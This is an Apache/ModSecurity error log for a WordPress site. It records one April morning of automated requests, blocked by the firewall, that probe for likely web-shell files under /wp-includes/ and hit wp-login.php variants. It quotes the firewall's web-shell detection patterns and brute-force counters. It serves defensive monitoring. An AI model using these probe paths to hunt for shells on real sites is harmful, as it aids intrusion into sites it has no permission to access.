[Wed Apr 15 04:35:57.588194 2026] [:error] [pid 4065:tid 4099] [client 45.131.195.130:63537] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/defaults.php"] [unique_id "ad6lLQWArgJTHu2_6Oy0CwAAABc"]
[Wed Apr 15 04:36:00.453443 2026] [:error] [pid 4066:tid 4120] [client 45.131.195.116:24123] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "ad6lMIC2YXfSPsC9O_BSEQAAAFA"]
[Wed Apr 15 04:36:07.793044 2026] [:error] [pid 4066:tid 4104] [client 45.131.195.171:23491] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "ad6lN4C2YXfSPsC9O_BSHQAAAEA"]
[Wed Apr 15 04:36:10.634131 2026] [:error] [pid 4065:tid 4100] [client 45.131.195.115:28843] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "ad6lOgWArgJTHu2_6Oy0HQAAABg"]
[Wed Apr 15 04:36:13.702392 2026] [:error] [pid 4067:tid 4147] [client 45.131.195.166:38937] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "ad6lPe5XHBJU8ZrRxZ0angAAAJA"]
[Wed Apr 15 04:36:14.834080 2026] [:error] [pid 4067:tid 4134] [client 45.131.195.155:60351] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "ad6lPu5XHBJU8ZrRxZ0aoQAAAIM"]
[Wed Apr 15 04:36:15.969873 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.179:30461] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "ad6lPx15U5D-N99n_jJYfgAAAM0"]
[Wed Apr 15 04:36:21.801753 2026] [:error] [pid 4067:tid 4150] [client 45.131.195.130:43933] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/info.php"] [unique_id "ad6lRe5XHBJU8ZrRxZ0arQAAAJM"]
[Wed Apr 15 04:36:22.893194 2026] [:error] [pid 4065:tid 4081] [client 45.131.195.154:52189] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class.api.php"] [unique_id "ad6lRgWArgJTHu2_6Oy0KQAAAAU"]
[Wed Apr 15 04:36:23.917832 2026] [:error] [pid 4067:tid 4140] [client 45.131.195.136:20023] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "ad6lR-5XHBJU8ZrRxZ0arwAAAIk"]
[Wed Apr 15 04:36:38.239243 2026] [:error] [pid 4066:tid 4114] [client 45.131.195.150:60219] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "ad6lVoC2YXfSPsC9O_BSXgAAAEo"]
[Wed Apr 15 04:36:43.877953 2026] [:error] [pid 4169:tid 4195] [client 45.131.195.141:30927] [client 45.131.195.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-login.php"] [unique_id "ad6lWx15U5D-N99n_jJYnwAAANQ"]
[Wed Apr 15 04:37:02.501031 2026] [:error] [pid 4169:tid 4196] [client 45.131.195.141:30927] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "ad6lbh15U5D-N99n_jJYzwAAANU"]
[Wed Apr 15 04:37:07.076130 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.140:53447] [client 45.131.195.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-login.php"] [unique_id "ad6lcx15U5D-N99n_jJY1wAAAME"]
[Wed Apr 15 04:37:10.080197 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.140:53447] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/item.php"] [unique_id "ad6ldh15U5D-N99n_jJY3QAAANY"]
[Wed Apr 15 04:37:24.018806 2026] [:error] [pid 4065:tid 4083] [client 45.146.54.43:62721] [client 45.146.54.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad6lhAWArgJTHu2_6Oy0iQAAAAc"]
[Wed Apr 15 04:37:24.652499 2026] [:error] [pid 4066:tid 4115] [client 45.131.195.140:27715] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/husky301.php"] [unique_id "ad6lhIC2YXfSPsC9O_BSpAAAAEs"]
[Wed Apr 15 04:37:37.989047 2026] [:error] [pid 4169:tid 4177] [client 45.131.195.136:54989] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "ad6lkR15U5D-N99n_jJZAAAAAMU"]
[Wed Apr 15 04:37:42.259809 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.190:36075] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/classwithtostring.php"] [unique_id "ad6llh15U5D-N99n_jJZCwAAAME"]
[Wed Apr 15 04:37:48.626520 2026] [:error] [pid 4066:tid 4111] [client 45.131.195.141:63051] [client 45.131.195.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-login.php"] [unique_id "ad6lnIC2YXfSPsC9O_BStwAAAEc"]
[Wed Apr 15 04:37:50.850897 2026] [:error] [pid 4066:tid 4104] [client 45.131.195.141:63051] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "ad6lnoC2YXfSPsC9O_BSuQAAAEA"]
[Wed Apr 15 04:38:17.793994 2026] [:error] [pid 4066:tid 4109] [client 45.131.195.170:47047] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "ad6luYC2YXfSPsC9O_BS4gAAAEU"]
[Wed Apr 15 04:38:23.184532 2026] [:error] [pid 4065:tid 4085] [client 45.131.195.166:21335] [client 45.131.195.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "ad6lvwWArgJTHu2_6Oy0_AAAAAk"]
[Wed Apr 15 04:38:29.108070 2026] [:error] [pid 4065:tid 4092] [client 45.131.195.166:21335] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "ad6lxQWArgJTHu2_6Oy1AQAAABA"]
[Wed Apr 15 04:38:31.390429 2026] [:error] [pid 4067:tid 4143] [client 45.131.195.119:51937] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/infi.php"] [unique_id "ad6lx-5XHBJU8ZrRxZ0cdgAAAIw"]
[Wed Apr 15 04:38:35.006577 2026] [:error] [pid 4067:tid 4155] [client 45.131.195.171:28587] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "ad6ly-5XHBJU8ZrRxZ0cggAAAJg"]
[Wed Apr 15 04:38:40.139958 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.159:37869] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/about.php"] [unique_id "ad6l0B15U5D-N99n_jJZZAAAAMg"]
[Wed Apr 15 04:38:41.612397 2026] [:error] [pid 4065:tid 4078] [client 45.131.195.174:56165] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/index.php"] [unique_id "ad6l0QWArgJTHu2_6Oy1OgAAAAI"]
[Wed Apr 15 04:38:49.602919 2026] [:error] [pid 4066:tid 4109] [client 45.131.195.174:35599] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "ad6l2YC2YXfSPsC9O_BS-QAAAEU"]
[Wed Apr 15 04:38:52.011218 2026] [:error] [pid 4067:tid 4138] [client 45.131.195.131:20059] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/about.php"] [unique_id "ad6l3O5XHBJU8ZrRxZ0ckgAAAIc"]
[Wed Apr 15 04:38:57.069472 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.126:21699] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit.php"] [unique_id "ad6l4R15U5D-N99n_jJZegAAAMg"]
[Wed Apr 15 04:39:02.665039 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.184:46117] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "ad6l5h15U5D-N99n_jJZigAAANY"]
[Wed Apr 15 04:39:09.674849 2026] [:error] [pid 4067:tid 4133] [client 45.131.195.151:57677] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/click.php"] [unique_id "ad6l7e5XHBJU8ZrRxZ0dBQAAAII"]
[Wed Apr 15 04:39:15.159676 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.124:45071] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "ad6l8x15U5D-N99n_jJZqQAAAMM"]
[Wed Apr 15 04:39:26.033424 2026] [:error] [pid 4169:tid 4178] [client 45.131.195.126:39387] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "ad6l_h15U5D-N99n_jJZ0AAAAMY"]
[Wed Apr 15 04:39:26.458968 2026] [:error] [pid 4066:tid 4104] [client 45.131.195.190:24055] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/xl2023.php"] [unique_id "ad6l_oC2YXfSPsC9O_BTPAAAAEA"]
[Wed Apr 15 04:39:26.984298 2026] [:error] [pid 4169:tid 4192] [client 45.131.195.156:27203] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/admin.php"] [unique_id "ad6l_h15U5D-N99n_jJZ1QAAANI"]
[Wed Apr 15 04:39:27.414464 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.164:59339] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/dog.php"] [unique_id "ad6l_x15U5D-N99n_jJZ2AAAAMA"]
[Wed Apr 15 04:39:29.794773 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.125:34549] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "ad6mAR15U5D-N99n_jJZ4QAAAMc"]
[Wed Apr 15 04:39:30.212718 2026] [:error] [pid 4066:tid 4118] [client 45.131.195.181:54385] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "ad6mAoC2YXfSPsC9O_BTTwAAAE4"]
[Wed Apr 15 04:39:33.998320 2026] [:error] [pid 4066:tid 4106] [client 45.131.195.130:22899] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "ad6mBYC2YXfSPsC9O_BTZQAAAEI"]
[Wed Apr 15 04:39:34.514736 2026] [:error] [pid 4066:tid 4126] [client 45.131.195.166:39579] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "ad6mBoC2YXfSPsC9O_BTagAAAFY"]
[Wed Apr 15 04:39:35.203540 2026] [:error] [pid 4066:tid 4107] [client 45.131.195.131:59373] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/admin.php"] [unique_id "ad6mB4C2YXfSPsC9O_BTbwAAAEM"]
[Wed Apr 15 04:39:35.632719 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.174:53171] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/security.php"] [unique_id "ad6mBx15U5D-N99n_jJZ6wAAANM"]
[Wed Apr 15 04:39:38.059771 2026] [:error] [pid 4066:tid 4120] [client 45.131.195.161:45315] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "ad6mCoC2YXfSPsC9O_BTgwAAAFA"]
[Wed Apr 15 04:39:41.929420 2026] [:error] [pid 4067:tid 4148] [client 45.131.195.186:46623] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/about.php"] [unique_id "ad6mDe5XHBJU8ZrRxZ0dVgAAAJE"]
[Wed Apr 15 04:39:49.543494 2026] [:error] [pid 4065:tid 4098] [client 45.131.195.170:46031] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "ad6mFQWArgJTHu2_6Oy1vgAAABY"]
[Wed Apr 15 04:40:01.064866 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.145:58779] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/file.php"] [unique_id "ad6mIR15U5D-N99n_jJaPgAAAMM"]
[Wed Apr 15 04:40:07.425951 2026] [:error] [pid 4067:tid 4133] [client 45.131.195.181:24085] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "ad6mJ-5XHBJU8ZrRxZ0ddgAAAII"]
[Wed Apr 15 04:40:08.225639 2026] [:error] [pid 4169:tid 4182] [client 45.131.195.141:30435] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "ad6mKB15U5D-N99n_jJaXAAAAMo"]
[Wed Apr 15 04:40:14.862209 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.161:48151] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "ad6mLh15U5D-N99n_jJalgAAAMc"]
[Wed Apr 15 04:40:21.993241 2026] [proxy_fcgi:error] [pid 4169:tid 4176] [client 45.131.195.190:35669] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:40:22.208432 2026] [proxy_fcgi:error] [pid 4169:tid 4195] [client 45.131.195.190:35669] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:40:22.437207 2026] [proxy_fcgi:error] [pid 4169:tid 4173] [client 45.131.195.190:35669] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:40:28.199724 2026] [:error] [pid 4169:tid 4178] [client 45.131.195.190:35669] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "ad6mPB15U5D-N99n_jJa9wAAAMY"]
